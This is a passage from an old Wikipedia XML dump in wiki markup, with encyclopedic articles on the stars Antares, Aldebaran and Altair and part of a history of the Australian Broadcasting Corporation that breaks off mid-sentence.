'''Antares''' (&amp;alpha; Sco / &amp;alpha; Scorpii / [[alpha (letter)|Alpha]] Scorpii) is the brightest star in the [[constellation]] [[Scorpius]] and [[list of brightest stars|one of the brightest stars]] in the nighttime sky.  Along with [[Aldebaran]], [[Spica]], and [[Regulus]] it is one of the four brightest stars near the ecliptic.  The similarly colored [[Aldebaran]] lies almost directly opposite Antares in the [[Zodiac]].

Antares' name derives from the [[Greek language|Greek]] ''&amp;#945;&amp;#957;&amp;#964;&amp;#945;&amp;#961;&amp;#951;&amp;#962;'', meaning &quot;(holds) against [[Ares]] (Mars)&quot;, due to the similarity of its [[red]]dish hue to the appearance of the planet [[Mars (planet)|Mars]]. This distinctive [[color]]ation has made the star an object of interest to many societies throughout history, and many of the old [[Egypt]]ian [[temple]]s are oriented so that the light of Antares plays a role in the ceremonies performed there. Antares was one of the four &quot;[[royal stars]]&quot; of the [[Iran|Persia]]ns around 3000 BC, and some writers claim that it is the &quot;lance star&quot; referred to in the [[Bible|Biblical]] book of [[Book of Job|Job]].  In the religion of [[Stregheria]], Antares is a [[fallen angel]] and [[quarter guardian]] of the [[western gate]]. In astrology Antares is one of the [[Behenian fixed star]]s and has the symbol [[Image:Agrippa1531 corScorpii.png]].

Antares is a [[Stellar classification|class M]] [[giant star]], with a diameter of approximately [[1 E11 m|9.24]] [[scientific notation|&amp;times;]] 10&lt;sup&gt;8&lt;/sup&gt; [[kilometre|km]], or slightly more than the distance from the [[Sun]] to Mars, and is approximately 600 [[light year]]s from earth.  Visually, its [[luminosity]] is about 10,000 times that of the [[Sun]] but overall, taking into account that the star radiates a considerable part of its energy in the [[infrared]] part of the [[spectrum]] the luminosity jumps to roughly 65,000 times that of the Sun. The mass of the star is calculated to be 15 to 18 [[solar mass]]es. Its large size and relatively smaller mass give Antares a very low density.

The best time to view Antares is on or around [[May 31]] of each year, when the star is at &quot;opposition&quot; to the [[Sun]].  At this time, Antares rises at dusk and sets at dawn, and is thus in view all night.  For approximately two to three weeks on either side of [[November 30]], Antares is not visible at all, being lost in the Sun's glare; this period of invisibility is longer in the [[Northern Hemisphere]] than in the [[Southern Hemisphere]], since the star's [[declination]] is a few degrees south of the [[ecliptic]].

Antares has a hot blue [[companion star]] (Antares B) at a distance of about 2.9&amp;Prime;.  Although it is 5th magnitude, it is normally difficult to see because of Antares' glare, but can be observed with the [[naked eye]] for a few seconds during lunar [[occultation]]s while Antares itself is hidden by the [[Moon]]; it was discovered during one such occultation on [[April 13]] [[1819]].  The [[orbital period]] is 878 years.

Of the 21 first-magnitude stars, Antares now lies further in angular distance from any first-magnitude star than any other first magnitude star, i.e. you could draw the largest circle around Antares without including any other first-magnitude star inside that circle. The nearest first-magnitude star to Antares is [[Alpha Centauri]], lying approximately 39&amp;deg;6.75&amp;prime; away. The high [[proper motion]] of [[Alpha Centauri]] is gradually increasing this distance further. Before about March 2000, [[Alpha_Eridani|Achernar]] and [[Fomalhaut]] held this distinction.

In 1971, the crew of [[Apollo 14]] named their [[lunar module]] after the star.

[[Category:Bayer objects|Scorpii, Alpha]]
[[Category:Binary stars]]
[[Category:Blue-white dwarfs]]
[[Category:Red giant branch stars]]
[[Category:Red supergiants]]
[[Category:Scorpius constellation]]

[[als:Antares]]
[[an:Antares]]
[[ca:Antares]]
[[da:Antares]]
[[de:Antares]]
[[es:Antares]]
[[fr:Antarès]]
[[gl:Antares]]
[[it:Antares]]
[[he:אנטארס]]
[[lt:Antaris]]
[[nl:Antares]]
[[ja:アンタレス]]
[[pl:Antares]]
[[sk:Antares]]
[[fi:Antares]]
[[zh:心宿二]]</text>
    </revision>
  </page>
  <page>
    <title>Aldebaran</title>
    <id>3077</id>
    <revision>
      <id>41987656</id>
      <timestamp>2006-03-03T01:40:25Z</timestamp>
      <contributor>
        <username>Colonel Cow</username>
        <id>108294</id>
      </contributor>
      <minor />
      <comment>cleaned up disambig</comment>
      <text xml:space="preserve">:''For the Fallen Angel Aldebaran, see [[Demon (Aldebaran)]].''
{{Starbox begin 
 | name = Aldebaran A/B
 }}
{{Starbox image 
 | image = [[Image:aldebaran-sun.gif | 250px]] 
 | caption = Aldebaran (lower right) in the Bull's head close to the Sun every year around May 31. Photo &amp;copy; by [[NASA]] SOHO C3.
 }}
{{Starbox observe 
 | epoch = J2000 
 | constell = [[Taurus]] 
 | ra = 04h 35m 55.2s 
 | dec = +16° 30' 33&quot; 
 | appmag_v = +0.87/13.50
 }}
{{Starbox character 
 | class = K5+III/dM2 V 
 | b-v = 1.54/? 
 | u-b = 1.90/? 
 | variable = Suspected/?
 }}
{{Starbox astrometry 
 | radial_v = +53.8 
 | prop_mo_ra = 62.78 
 | prop_mo_dec = -189.36 
 | parallax = 50.09 
 | p_error = 0.95 
 | dist_ly = 65.1 
 | dist_pc = 20 
 | absmag_v = -0.63/11.98
 }}
{{Starbox detail
 | age = ? 
 | metal = 47-100%/? 
 | mass = 1/0.15 
 | radius = 40-52/0.36 
 | rotation = ? 
 | luminosity = 150/0.00014
 | temperature = 4,000/?
 }}
{{Starbox catalog 
 | names = α Tauri, Parilicium, Cor Tauri, Paliliya, 87 Tauri, [[Henry L. Giclas catalogue | Gl]] 171.1A/B, [[Gliese-Jahreiss catalogue | GJ]] 9159 A/B, [[Harvard Revised catalogue | HR]] 1457, [[Bonner Durchmusterung | BD]] +16°629 A/B, [[Henry Draper catalogue | HD]] 29139, [[General Catalogue of Trigonometric Parallaxes | GCTP]] 1014.00, [[Luyten Two-Tenths catalogue | LTT]] 11462, [[Smithsonian Astrophysical Observatory | SAO]] 94027, FK5 168, GC 5605, ADS 3321 A/B, CCDM 04359+1631, Wo 9159 A/B, [[Hipparcos catalogue | HIP]] 21421. }}
{{Starbox end}}
[[Image:Aldebaran.PNG|thumb|200px|Comparison between Aldebaran and the Sun]]
'''Aldebaran''', (α Tau / α Tauri / [[Alpha (letter)|Alpha]] Tauri), is the brightest star in the constellation [[Taurus (constellation)|Taurus]] and [[list of brightest stars|one of the brightest stars]] in the nighttime sky. Because of its location in the head of Taurus, it has historically been called the '''Bull's Eye'''.

Its name is derived from Arabic '''&amp;#1575;&amp;#1604;&amp;#1583;&amp;#1576;&amp;#1585;&amp;#1575;&amp;#1606;''' ''ad-dabarān'' meaning &quot;the follower&quot;, a reference to the way the star follows the [[Pleiades (star cluster)|Pleiades]] [[open cluster|star cluster]] in its nightly journey across the sky. Aldebaran has the appearance of being the brightest member of the more scattered [[Hyades (star cluster)|Hyades]] cluster, which is the closest star cluster to Earth. However, it is merely located in the line of sight between the Earth and the Hyades, and is actually an independent star.

Aldebaran is a K5&amp;nbsp;III star, which means it is orangish, large, and has moved off of the [[main sequence]] by using all its [[hydrogen]] fuel. It has a minor companion (a dim M2 dwarf orbiting at several hundred [[astronomical unit|AU]]). Now primarily fusing [[helium]], the main star has expanded to a diameter of approximately [[1 E10 m|5.3]] [[scientific notation|&amp;times;]] 10&lt;sup&gt;7&lt;/sup&gt; [[kilometre|km]],  or about 38 times the diameter of the [[Sun]]. The ''[[Hipparcos]]'' satellite has measured it as 65.1 [[light year]]s away, and it shines with 150 times the Sun's luminosity. Taken together this distance and brightness makes it the [[list of brightest stars|14th brightest star]], having an [[apparent magnitude]] of 0.87. It is slightly variable, of the [[irregular variable]] type, by about 0.2 magnitude.

[[Image:Aldebaranrad.JPG|left|thumb|Radio scan of Aldebaranrad, brightness temperature measures at all frequencies]]

In 1997, a possible large planet (or small [[brown dwarf]]) companion was reported, with a mass equalling that of 11 [[Jupiter (planet)|Jupiter]]s and orbiting at a distance of 1.35&amp;nbsp;AU.

Aldebaran is one of the easiest stars to find in the [[night sky]], partly due to its brightness and partly due to its spatial relation to one of the more noticeable asterisms in the sky. If one follows the three stars of [[Orion (constellation)|Orion]]'s belt from left to right (in the Northern Hemisphere) or right to left (in the Southern), the first bright star found by continuing that line is Aldebaran.

The unmanned [[Pioneer 10]] [[spacecraft]] was last reported to have been heading toward Aldebaran.  Assuming the spacecraft avoids some form of [[collision]], the spacecraft will arrive at Aldebaran in 2 million years.

==Aldebaran in astrology and mysticism==
[[Astrology|Astrologically]], Aldebaran is a fortunate star, portending riches and honor. This star, named &quot;Tascheter&quot; by the Persians, is one of the four &quot;[[royal stars]]&quot; of the [[Iran|Persians]] from around [[3000 BC]]. These stars were chosen in such way that they were approximately 6 hours apart in right ascension. To each of these stars was assigned to a season, Aldebaran was prominent in the sky of March and as such, it was associated with the [[vernal equinox]].

The four royal stars with their modern and ancient Persian names:

* Aldebaran (Alpha Tauri) vernal equinox is the brightest star in the constellation Taurus.
* Regulus (Alpha Leonis) summer solstice is the brightest star in the constellation Leo. 
* Antares (Alpha Scorpii) autumnal equinox the brightest star in the constellation Scorpius. 
* Fomalhaut (Alpha Piscis) winter solstice is the brightest star in the constellation Piscis Austrinus.

In Hindu astronomy, Aldebaran corresponds to the [[Rohini Nakshatram|Rohini]] [[Nakshatra]].

To [[medieval]] astrologers it was one of fifteen [[Behenian fixed stars|Behenian stars]], associated with [[rubies]], [[milk thistle]]s and the [[kabbalistic]] sign [[Image:Agrippa1531_Aldaboram.png]].

In the religion of [[Stregheria]], Aldebaran is a [[fallen angel]] and [[quarter guardian]] of the [[eastern gate]].

Some [[Nazi mysticism|Nazi mystics]] believed that the [[Aryan]] race had extraterrestrial ancestors from Aldeberan.

For the Dakotas (a [[Native Americans in the United States|Native American]] branch of the [[Sioux]] tribe), Aldebaran took on a heroic aspect. The young star was the child of the sun and the lady Blue Star. One day he desired to hunt the [[white buffalo]] (the [[Pleiades]]). After he pulled up a sapling to make a spear, a hole was made in the ground and he could see all the people of earth down below.  The white buffalo took this chance to push him through. He was found by an old woman and was to be known as Old Woman's Grandson. On earth he killed many strange monsters which had been troubling the Native Americans; one monster of which was a serpent that caused drought; he killed it releasing a great stream of water that became the [[Mississippi River]]. In time, Old Woman's Grandson remembered the white buffalo and returned to hunting him in the sky to fulfill his destiny.

==Aldebaran in fiction==
Aldebaran is one of several stars mentioned in the [[Cthulhu Mythos]], as somehow relating to the god [[Hastur]].

In [[Joe Haldeman]]'s ''[[The Forever War]]'', mankind's first contact with the alien race, later called Taurans, technically occurs near Aldebaran. As the main character explains, ''&quot;&quot;Aldebaranian&quot; is a little hard to handle, they named the enemy &quot;Tauran&quot;.&quot;''

[[Frederik Pohl]]'s ''[[Narabedla Inc.]]'' is partially set on a planet circling Aldebaran.  The title being the name of an Earth Corporation run by human agents of the Aldebaran aliens.  Narabedla is Aldebaran spelled backward.

In [[Douglas Adams]]' ''[[The Restaurant at the End of the Universe]]'', Aldebaran is mentioned once. In 576 thousand million years, right after the Universe has ended, the guests at [[Milliways]], The [[Restaurant]] at the [[end]] of the [[Universe]], will be served with a table of sweets and delicious Aldebaranian [[liqueur]].  In the original radio broadcast, [[Roy Hudd]], playing the Restaurant Host, Max Quordlepleen, mispronounced the name as &quot;Adelbaran&quot;.

In [[Masami Kurumada]]'s ''[[Saint Seiya]]'' Aldebaran is the name of the Taurus Saint, which guards the Taurus pallace at the greek sanctuary where the 12 houses of the Zodiac lay ground. Aldebaran is Brazilian, is the tallest and one of the strongest, wisest warriors in  the sanctuary.

In the novels of [[E. E. Smith]]'s [[lensman|Lensman Series]] Aldebaran's second planet is portrayed as having no native intelligent life, and, being otherwise very Earth-like, attracting large scale human settlement.  This yields a vibrant world with a notably hedonistic culture.

==Aldebaran in media==
Aldebaran (displayed as Al De Baran) is the name of a city in the [[MMORPG]] [[Ragnarok Online]].

Aldebaran of Tauros in the Saint Seya, Japonese Manga end Anime.

Aldebaran is the name of a song by '''[[Enya]]''' on the album ''[[The Celts]]''

==References==
*{{1728}}

==External links==
* {{cite web 
 | title = Gl 171.1A 
 | work = ARICNS 
 | url = http://www.ari.uni-heidelberg.de/aricns/cnspages/4c00382.htm 
 | accessdate = November 14 
 | accessyear = 2005
 }}
* {{cite web 
 | title = Aldebaran 2 
 | work = SolStation 
 | url = http://www.solstation.com/stars2/aldebaran.htm 
 | accessdate = November 14 
 | accessyear = 2005
 }}

[[Category:Orange giants]]
[[Category:Bayer objects|Tauri, Alpha]]
[[Category:Taurus constellation]]
[[Category:Irregular variables]]
[[Category:Red giant branch stars]]
[[Category:Arabic words]]

[[ca:Aldebaran]]
[[cs:Aldebaran]]
[[de:Aldebaran]]
[[et:Aldebaran]]
[[es:Aldebarán]]
[[eo:Aldebarano]]
[[fr:Aldébaran (étoile)]]
[[gl:Aldebarán]]
[[io:Aldebaran]]
[[it:Aldebaran]]
[[lt:Aldebaranas]]
[[nl:Aldebaran]]
[[ja:アルデバラン]]
[[pl:Aldebaran]]
[[pt:Aldebarã]]
[[sk:Aldebaran]]
[[fi:Aldebaran]]
[[sv:Aldebaran]]
[[zh:畢宿五]]</text>
    </revision>
  </page>
  <page>
    <title>Altair</title>
    <id>3078</id>
    <revision>
      <id>41748641</id>
      <timestamp>2006-03-01T13:36:30Z</timestamp>
      <contributor>
        <username>Nerfboy</username>
        <id>1011337</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Otherusesabout|a star in the Aquila constellation}}
{{Starbox begin |
   name=Altair }}
{{Starbox image |
  image=[[Image:Altair-medium photo.jpeg|250px]] |
  caption=Altair. }}
{{Starbox observe |
  epoch=J2000 |
  constell=[[Aquila (constellation)|Aquila]] |
  ra=19h 50m 47.0s |
  dec=+08&amp;deg; 52' 06&amp;quot; |
  appmag_v=0.77 }}
{{Starbox character |
  class=A7 IV-V |
  b-v=0.22 |
  u-b=0.08 |
  variable=None }}
{{Starbox astrometry |
  radial_v=-26.1 |
  prop_mo_ra=536.82 |
  prop_mo_dec=385.54 |
  parallax=194.97 |
  p_error=0.86 |
  dist_ly=16.72   |
  dist_pc=5.13 |
  absmag_v=2.22 }}
{{Starbox detail|
  age=&lt;10&lt;sup&gt;9&lt;/sup&gt; |
  metal=200% Sun |
  mass=1.7 |
  radius=1.8 |
  rotation=6.5&amp;ndash;10.4 hours |
  luminosity=10.7 |
  temperature=7,550 }}
{{Starbox catalog |
  names=&amp;alpha; Aquila, 53 Aquila, [[Henry Draper catalogue|HD]] 187642, [[Harvard Revised catalogue|HR]] 7557, [[Bonner Durchmusterung|BD]]+08&amp;deg;4236, [[General Catalogue of Trigonometric Parallaxes|GCTP]] 4665.00, [[Gliese-Jahreiss catalogue|GJ]] 768, [[Luyten Half-Second catalogue|LHS]] 3490, and [[Hipparcos Catalogue|HIP]] 97649. }}
{{Starbox end}}
'''Altair''' (&amp;alpha; Aql / &amp;alpha; Aquilae  / [[alpha (letter)|Alpha]] Aquilae / Atair ) is the brightest [[star]] in the [[constellation]] [[Aquila (constellation)|Aquila]] and the [[list of brightest stars|twelfth brightest star]] in the nighttime sky, at [[visual magnitude]] 0.77.

Altair is a [[vertex]] of the [[Summer Triangle]]. It is an &amp;quot;A&amp;quot; type or [[Stellar classification|white star]] located 17 [[light year]]s away from Earth, one of the closest stars visible to the [[naked eye]].

The name &amp;quot;Altair&amp;quot; is [[Arabic language|Arabic]] for &amp;quot;the flyer&amp;quot;, from the phrase '''&amp;#1606;&amp;#1587;&amp;#1585; &amp;#1575;&amp;#1604;&amp;#1591;&amp;#1575;&amp;#1574;&amp;#1585;''' ''an-nasr a&amp;#355;-&amp;#355;&amp;#257;?ir'' &amp;quot;the flying eagle&amp;quot;.
The spelling &amp;quot;Atair&amp;quot; is also used frequently.

Altair is most notable for its extremely rapid rotation; by measuring the width of its [[spectral line]]s, it was determined that its [[equator]] does a complete rotation in about 6 1/2 hours (various other sources give 9 hours, or 10.4 hours). In comparison, our star, the [[Sun]], requires a little more than 25 days for a complete rotation.  As a result of its rapid rotation, Altair is [[oblate]]: its equatorial diameter is at least 14 percent greater than its polar diameter.

Altair, along with [[Beta Aquilae]] and [[Gamma Aquilae]], form the well-known line of stars sometimes referred to as the shaft of Aquila.

==References to the star==
In [[Chinese mythology]], there is a love story of [[Qi Xi]] in which Niu Lang ('''Altair''') and his two children (Aquila -&amp;#946; and -&amp;#947;) are separated forever from their mother Zhi Nü ([[Vega]]) who is on the far side of the river, the [[Milky Way]].  The Japanese [[Tanabata]] festival is also based on this legend.

In [[astrology]], the star Altair was ill-omened, portending danger from [[reptile|reptiles]].

In [[computing]], an important early microcomputer, the [[Altair 8800]], was named after the star because the daughter of the man responsible for coming up with a suitable name, when asked what she thought the computer should be called, was watching an episode of ''Star Trek'' where the Starship Enterprise had the star '''Altair''' as its destination. So Altair it was.

In [[science fiction]], Altair is:
* The planet Altair IV is the main setting of the book and film ''[[Forbidden Planet]]''
* The homeworld of Harlan, an artificial lifeform in [[Stargate SG-1]]
* The homeworld of the Ancients, an extinct civilization annihilated by the [[Shivans]] eight thousand years ago, in the space-combat simulation game, [[Freespace 2]].
* The homeworld of the [[Alkari]], one of the alien races in the [[Master of Orion]] computer game series.

In [[space travel]], Altair is:

* The [[NASA]] Crew Exploration Vehicle (CEV) designed to travel to the Moon and International Space Station.

==External links==
*[http://photojournal.jpl.nasa.gov/catalog/PIA04204 Report] on ultra high-resolution photograph.
*[http://www.tweb.com.mx/altairtest ALTAIR] Automation Library System.
* [http://www.solstation.com/stars/altair.htm SolStation]

* [http://www.nasaspaceflight.com/content/?id=4333 NASA Names New Spacecraft]


[[Category:Aquila constellation]]
[[Category:Bayer objects|Aquilae, &amp;alpha;]]
[[Category:White main sequence stars]]
[[Category:Arabic words]]

[[ca:Altair]]
[[cs:Altair]]
[[de:Altair]]
[[es:Altair]]
[[fr:Altaïr]]
[[gl:Altair]]
[[io:Alter]]
[[it:Altair]]
[[he:אלטאיר]]
[[lt:Altayras]]
[[nl:Altair]]
[[ja:アルタイル]]
[[pl:Altair]]
[[pt:Altair]]
[[sk:Altair]]
[[fi:Altair]]
[[sv:Altair]]
[[tl:Altair]]
[[vi:Sao Ngưu Lang]]</text>
    </revision>
  </page>
  <page>
    <title>Australian Broadcasting Corporation</title>
    <id>3079</id>
    <revision>
      <id>42154635</id>
      <timestamp>2006-03-04T04:29:06Z</timestamp>
      <contributor>
        <username>Hamil</username>
        <id>729993</id>
      </contributor>
      <text xml:space="preserve">{{RRevised}}
[[Image:Abc-logo.jpg|left|ABC logo|110px]]
The '''Australian Broadcasting Corporation (ABC)''' is [[Australia]]'s national non-commercial [[Public broadcasting|public broadcaster]]. Inaugurated in 1932 as a [[radio network]], the corporation has gradually expanded and diversified into many different broadcasting and print mediums, including [[television]], [[radio]] and [[online]] services. The ABC can be seen and heard throughout metropolitan and regional Australia, and overseas via its Asia-Pacific television service and [[Radio Australia]]. &lt;!--What kind of magazines does ABC publish?--&gt;The corporation publishes magazines, and runs a chain of ABC Shops selling books and audio/video recordings relating to its programming. The ABC is funded almost entirely by direct annual grants from the [[Federal Budget (Australia)|federal budget]], and does not receive income from commercial sources or public donations besides the ABC bookshops.


==History==
===Early period===
[[Image:ABC Perth.jpg|thumb|right|250px|The ABC building in Perth, 1937]]
Following the failure of the previous two-tiered system of &quot;A-class&quot; and &quot;B-class&quot; radio licences set up in 1924, the 12 radio stations of the original &quot;A-class&quot; category were nationalised and combined, and the new national broadcaster (based on the [[BBC]] model) was officially incorporated [[1 July]] [[1932]] as the &quot;Australian Broadcasting Commission&quot;. The new national broadcaster was initially permitted to present advertising, but this was removed from the legislation before it came into force. The ABC was funded in part by direct government grant, but drew most of its revenue from listener licence fees.

The radio spectrum was now divided between the ABC and the commercial sector. This new two-tier system became the structural foundation for the industry, and was used as the model for the TV industry in the mid-50s. That arrangement would not change significantly for the next 40 years.

The ABC originally controlled twelve stations around the country: [[2FC]] and [[2BL]] in [[Sydney]], [[3AR]] and [[3LO]] in [[Melbourne]], [[4QG]] in [[Brisbane]], [[5CL]] in [[Adelaide]], [[6WF]] in [[Perth, Western Australia|Perth]], [[7ZL]] in [[Hobart]] and the relay stations [[2NC]] in [[Newcastle, New South Wales|Newcastle]], [[2CO]] at [[Corowa]], [[4RK]] in [[Rockhampton, Queensland|Rockhampton]] and [[5CK]] at [[Crystal Brook, South Australia|Crystal Brook]].

Opening day programs on [[1 July]] [[1932]] included the first &quot;Children's Session&quot; with 'Bobby Bluegum'; the first sports program, &quot;Racing Notes&quot; with W.A. Ferry calling the [[Randwick, New South Wales|Randwick]] races; &quot;British Wireless News&quot; received by cable from London; weather; stock exchange and shipping news; the ABC Women's Association session (topics were 'commonsense housekeeping' and needlecraft); a talk on goldfish and their care; &quot;Morning Devotions&quot;; and music.

Over the next four years, these largely isolated stations were gradually brought together into a cohesive broadcasting organisation through regular program relays, and coordinated by a centralised bureaucracy. During its first decades, the programming schedules included music, news and current affairs, sport, drama, children's programs, and school broadcasts. Because recording technology was still relatively primitive, all ABC programs were broadcast live until 1935, including music. For this purpose, the ABC established broadcasting orchestras in each state, and in some centres employed choruses and dance bands.

In 1934, famed conductor Sir [[Bernard Heinze]] was appointed part-time musical advisor to the ABC. In 1937 the network was further expanded with the purchase of 4BC in Brisbane. In 1939 the ABC began publishing the ''ABC Weekly''.

===World War II===
During the [[World War II |Second World War]], the ABC continued to recruit staff, including a greater proportion of women to replace men who had joined the armed forces. The organisation established reporting and recording facilities in numerous overseas locations, including the Middle East, Greece and the Asia-Pacific region. An early challenge to its independence came in June 1940 when wartime censorship was imposed, and the Department of Information (headed by Sir [[Keith Murdoch]]) took control of the ABC’s 7 p.m. nightly national news. This lasted only until September, when control of the news was returned to the ABC after listeners expressed a preference for independent news presented by the Commission.

During the war, the ABC's [[news program|news bulletins]] attained a reputation for authority and independence, and from 1942 onwards, were broadcast three times daily through all national and most commercial [[transmitters]]. The ABC's ability to speak to all Australians across a huge, sparsely populated country was now recognised as an essential part of the nation's infrastructure. During and after the war, the ABC was given statutory powers that reinforced its independence from the government and enhanced its news-gathering role. From 1946, the ABC was required to broadcast selected parliamentary sessions live, despite the disruption this caused to regular programming.

On [[7 January]] [[1941]] the ABC revived the Children's Session as a national program, including the &quot;Argonauts Club&quot;, which was first broadcast in 1933-34 in Melbourne. The Argonauts Club proved hugely popular with young Australians - by 1950 there were over 50,000 members, with 10,000 new members joining each year in the 1950s. The Club encouraged children's contributions of writing, music, poetry and art, and became one of the ABC's most popular programs, running six days a week for 28 years. 

''The Argonauts Club'' was co-hosted for its entire 31-year run by [[Atholl Fleming]], known to generations of Australians by his on-air names &quot;Mac&quot; and &quot;Jason&quot;. Many notable Australians worked pseudonymously as presenters on the show, including poet [[A.D. Hope]] (&quot;Antony Inkwell&quot;), future ABC General Manager [[Talbot Duckmanton]] (&quot;Tal&quot;) who hosted a weekly sports segment, actors [[Leonard Teale]] (&quot;Chris&quot;) and [[John Ewart]] (&quot;Jimmy&quot;) and future &quot;Mr Sqiggle&quot; host and film producer [[Patricia Lovell]]. Painter [[Jeffrey Smart]] (&quot;Phidias&quot;) commented on art, and popular children's author [[Ruth Park]] contributed dramatised stories. Her main character, which began life as a bunyip, eventually evolved into her beloved &quot;[[Muddle Headed Wombat]]&quot; character, voiced inimitably by Johnny Ewart. Its popularity on The Argonauts led Park to write her popular series of Muddle Headed Wombat books in the 1960s.

In 1942 ''The Australian Broadcasting Act'' was passed, giving the ABC the power to decide when, and in what circumstances, political speeches should be broadcast. Directions from the Minister about whether or not to broadcast any matter now had to be made in writing, and any exercise of the power had to be mentioned in the Commission's Annual Report. It was used only once, in 1963.

Also in 1942, &quot;Kindergarten of the Air&quot; began on ABC Radio in Perth; it was later broadcast nationally and became one of the ABC’s most popular programs.

===Post-war years===
[[Image:Early abc van.jpg|thumb|right|250px|An early ABC [[Outside broadcasting|Outside Broadcast]] van - National Museum of Australia]]
In December 1945, just after the end of the war, the rural affairs program &quot;The Country Hour&quot; premiered. In 1946, legislation was passed requiring the ABC to broadcast Parliament when in session. The parliamentary broadcasts were put onto the interstate network. In subsequent Annual Reports, the Commission commented on the disruption this caused to its programming. Another landmark came on [[June 1]], [[1947]], when the ABC's independent national news service was inaugurated.

During the 1950s, the variety and quantity of programming increased significantly, including light entertainment, sports coverage, talk programs, and features — early forms of what became known as [[radio documentary|documentaries]]. The ABC's coverage of rural affairs was significantly enhanced by the deployment of journalists and broadcasters in major country areas. The increasing availability of [[landline]]s and [[teleprinter]]s allowed the organisation to gather and broadcast news and other program material with much greater efficiency than in the previous two decades. By the 1950s, as many as 13 national news bulletins were broadcast daily. By 1956, the Commission had begun to establish an international presence with offices opening in [[London]], [[New York]] and [[Port Moresby]].

In 1953, the federal ''Television Act'' was passed, providing the initial regulatory framework for both the ABC and commercial television networks. In late 1956, the ABC started regular [[television]] broadcasts from Sydney and Melbourne, just in time to cover the Summer Olympic Games in Melbourne. On November 5, the ABC made its first TV broadcast from its Sydney studios, inaugurated by Prime Minister [[Robert Menzies]], and on November 19 the first TV broadcast beamed out from the ABC's Melbourne's studios.

Within a year, ABC-TV was broadcasting from each of the six state capitals. In its first decade, the network developed a wide range of programming that included [[ABC News|news bulletins]], light entertainment, children's and educational programs, and the performing arts. 

By the mid-1960s, [[videotape]] equipment had been installed in all of the ABC's major centres, and during that decade, direct television relays were laid, first from Melbourne to Sydney, and Sydney to Canberra, then between all major centres except for Perth and Hobart. By 1972, all State capitals were linked, allowing simultaneous viewing and national programming. In 1975, colour television was introduced in Australia.

===The 1960s and 70s: growing social and intellectual influence===
The authority and influence of the ABC have been most strongly felt in news and current affairs, in which the organisation's innovations have set the standard for Australian broadcasting. In 1961, ABC-TV started a weekly current affairs program ''[[Four Corners (TV series)|Four Corners]]'', which was characterised by a new, vigorous investigative reporting style of political and social issues that were occasionally ahead of public opinion.

The ABC was one of the first TV networks to embrace the rock'n'roll revolution of the late 1950s, most notably with its pioneering show ''[[Six O'Clock Rock]]'', hosted by [[Johnny O'Keefe]]. During the 60s and early 70s the ABC continued to produce programs on popular music, including the pop show ''Hitscene'', innovative performance specials by groups such as [[Tully (band)|Tully]] and [[Max Merritt &amp; The Meteors]], and the landmark magazine-style program ''[[GTK (TV show)|GTK]]'', which premiered in 1969 and screened for 10 minutes, four nights per week, Monday to Thursday, just before the 7pm news bulletin. 

As well as news, special reports, film clips and interview segments, ''GTK'' was especially notable - and of great historical value - for the inclusion of a nightly segment of specially recorded live in-studio performances by Australian bands. Each week a different band was featured, which would record four songs; in the case of more popular bands, the producers chose tracks other than their hits to demonstrate different aspects of their music. Although it was long thought that most of this priceless material had been erased - like the BBC, an ill-advised &quot;economy drive&quot; in the late 1970s led to the wholesale erasure of large amounts of videotaped material, including most of the first two years of ''[[Countdown (TV show)|Countdown]]''. However, extensive archival research within the ABC following the recent closure of the old [[Gore Hill]] studios in Sydney has revealed that, although some early videotape-only content was erased, much of the primary footage had (fortunately) been shot on film and most of this was retained. It is believed that approximately 80% of ''GTK'' has survived.

In 1967, the weeknight television current affairs program, ''[[This Day Tonight]]'' (TDT), and its counterpart on radio, ''PM'', were introduced. Many people regard these programs, and others like them, to be essential parts of Australian public life, in which politicians and other public figures and organisations were subject to rigorous, though balanced, interviewing and reportage. The ABC also focused on producing radio and television talk programs that explored a wide range of national and international issues. Prominent among these was ''[[The Science Show]]'', which started in 1975 on ABC Radio, hosted by [[Robyn Williams]]. Beginning in the same year was also the prominent radio program, ''Coming out ready or not'' (later known simply as ''The Coming Out Show''), dealing with women's issues. In 1975, colour television was introduced in Australia, and within a decade, the ABC had moved into [[satellite]] broadcasting, greatly enhancing its ability to serve as a national broadcaster.

In 1975, the ABC introduced a 24 hour-a-day AM [[rock (music)|rock]] station in Sydney, 2JJ ([[Double Jay]]), which was eventually expanded into the national [[Triple J]] FM network. A year later, a national [[European classical music|classical music]] network was established on the [[frequency modulation|FM]] band, broadcasting from Adelaide. [[Radio Australia]] continued to thrive as a voice of authority in the Asia-Pacific region.

===The late 20th century to the present===
[[Image:AustralianBroadcastingCorporation1990s.JPG|frame|right|ABC Logo from mid 1990s]]
In 1983, the name of the organisation was changed from 'Commission' to 'Corporation' with the passing of a new ''ABC Act'' by [[Parliament of Australia|Federal Parliament]].

During the 1980s, the ABC underwent significant restructuring. Program production in indigenous affairs, comedy, social history and current affairs was significantly expanded. There was considerable pressure on the organisation to increase its production of Australian drama, which trebled from 1986&amp;ndash;91 with the assistance of co-production, co-financing, and pre-sales arrangements. Since this time, ABC dramas have explored numerous themes related to the unique aspects of Australian living; these themes have not been covered by commercial and foreign producers to the same extent, and thus the ABC has played an important role in the evolution of Australia's national identity.

The ABC continued to be active in Australia's music world, chiefly through its six state-based symphony orchestras. The organisation managed an active concert schedule - both orchestral concerts and recitals - in the six state capitals, and coordinated the deployment of the world's prominent soloists in these schedules. However, during the 1980s, there was increasing pressure for the orchestras to be divested; this occurred in ?1990 with the formation of Symphony Australia, an umbrella organisation that coordinates the now independent state-based orchestras.

In the 1980s, the ABC set in motion plans to consolidate its disorganised arrangement of property and buildings in Sydney and Melbourne into single sites in each city. In Sydney, the radio and orchestral operations moved to a single site in Sydney's inner-city suburb of [[Ultimo]] in 1991, joined by ABC-TV operations in ?2002. In Melbourne, the ABC Southbank Centre was finished in 1994, and now houses the radio division in Victoria and the Melbourne Symphony Orchestra. The 1990s saw the expansion of the ABC's network of ABC shops, which sell a wide range of program-related merchandise, including books, [[CD]]s and [[DVD]]s. During the same decade, ''ABC online'' was established as a valuable adjunct to the organisation's broadcasting endeavours. It is now possible for anyone in the world to access a large amount of information, including transcripts and audio and video streams of many programs, on the internet. By the early 1990s, all major ABC broadcasting outlets moved to 24 hour-a-day operation, and regional radio coverage in Australia was extended with 80 new transmitters. Live television broadcasts of selected parliamentary sessions started in ?1995, and [[ABC NewsRadio]], a continuous news network when parliament is not sitting, was launched on [[October 5]], [[1996]]. Australia Television International was established as an authoritative, popular, non-commercial resource in east Asia, and Radio Australia increased its international reach. In 1995, D-Cart digital technology developed by ABC Radio, excited worldwide interest and was sold to European, North American and Asian markets. The ABC used D-Radio, the 